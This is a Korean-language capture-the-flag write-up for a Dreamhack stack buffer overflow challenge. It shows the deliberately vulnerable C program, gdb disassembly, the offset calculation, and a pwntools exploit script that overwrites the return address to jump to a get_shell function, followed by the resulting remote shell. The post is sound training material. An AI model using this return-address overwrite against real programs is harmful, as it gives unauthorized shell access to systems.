Wargame/Dreamhack

Return Address Overwrite

wyv3rn 2022. 7. 18. 14:42
728x90
반응형

lecture와 연계된 기본적인 bof 문제이다.

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

shell을 실행시켜주는 get_shell 함수가 있기에 main 함수 종료 후 해당 함수 주소로 return 하면 될 것으로 예상된다.

gdb로 바로 분석해보자.

gef➤  info func
All defined functions:

Non-debugging symbols:
0x0000000000400510  _init
0x0000000000400540  printf@plt
0x0000000000400550  execve@plt
0x0000000000400560  setvbuf@plt
0x0000000000400570  __isoc99_scanf@plt
0x0000000000400580  _start
0x00000000004005b0  _dl_relocate_static_pie
0x00000000004005c0  deregister_tm_clones
0x00000000004005f0  register_tm_clones
0x0000000000400630  __do_global_dtors_aux
0x0000000000400660  frame_dummy
0x0000000000400667  init
0x00000000004006aa  get_shell
0x00000000004006e8  main
0x0000000000400730  __libc_csu_init
0x00000000004007a0  __libc_csu_fini
0x00000000004007a4  _fini
gef➤  disas get_shell
Dump of assembler code for function get_shell:
   0x00000000004006aa <+0>:     push   rbp
   0x00000000004006ab <+1>:     mov    rbp,rsp
   0x00000000004006ae <+4>:     sub    rsp,0x20
   0x00000000004006b2 <+8>:     lea    rax,[rip+0xfb]        # 0x4007b4
   0x00000000004006b9 <+15>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004006bd <+19>:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004006c1 <+23>:    mov    QWORD PTR [rbp-0x20],rax
   0x00000000004006c5 <+27>:    mov    QWORD PTR [rbp-0x18],0x0
   0x00000000004006cd <+35>:    lea    rcx,[rbp-0x20]
   0x00000000004006d1 <+39>:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004006d5 <+43>:    mov    edx,0x0
   0x00000000004006da <+48>:    mov    rsi,rcx
   0x00000000004006dd <+51>:    mov    rdi,rax
   0x00000000004006e0 <+54>:    call   0x400550 <execve@plt>
   0x00000000004006e5 <+59>:    nop
   0x00000000004006e6 <+60>:    leave
   0x00000000004006e7 <+61>:    ret
End of assembler dump.
gef➤  disas main
Dump of assembler code for function main:
   0x00000000004006e8 <+0>:     push   rbp
   0x00000000004006e9 <+1>:     mov    rbp,rsp
   0x00000000004006ec <+4>:     sub    rsp,0x30
   0x00000000004006f0 <+8>:     mov    eax,0x0
   0x00000000004006f5 <+13>:    call   0x400667 <init>
   0x00000000004006fa <+18>:    lea    rdi,[rip+0xbb]        # 0x4007bc
   0x0000000000400701 <+25>:    mov    eax,0x0
   0x0000000000400706 <+30>:    call   0x400540 <printf@plt>
   0x000000000040070b <+35>:    lea    rax,[rbp-0x30]
   0x000000000040070f <+39>:    mov    rsi,rax
   0x0000000000400712 <+42>:    lea    rdi,[rip+0xab]        # 0x4007c4
   0x0000000000400719 <+49>:    mov    eax,0x0
   0x000000000040071e <+54>:    call   0x400570 <__isoc99_scanf@plt>
   0x0000000000400723 <+59>:    mov    eax,0x0
   0x0000000000400728 <+64>:    leave
   0x0000000000400729 <+65>:    ret
End of assembler dump.

main + 4에서 보듯이 0x30 byte의 buffer를 확보하고 scanf 함수에서 여기에 값을 받아서 넣는다.

그리고 get_shell함수의 주소는 0x00000000004006aa 이다.

즉 페이로드는

더미 0x30 + rsp 0x8 + ret add 0x8

이 된다.

┌──(kali㉿kali)-[~]
└─$ cat a.py
from pwn import *

pay = b''
pay += b'\x90'*0x38
pay += p64(0x00000000004006aa)

p = remote("host1.dreamhack.games", 23292)

p.sendlineafter(": ", pay)
p.interactive()
┌──(kali㉿kali)-[~]
└─$ python a.py
[+] Opening connection to host1.dreamhack.games on port 23292: Done
/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
$ ls
flag
rao
$ cat flag
DH{----------#플래그는 삭제}
$
[*] Interrupted
[*] Closed connection to host1.dreamhack.games port 23292

 

728x90
반응형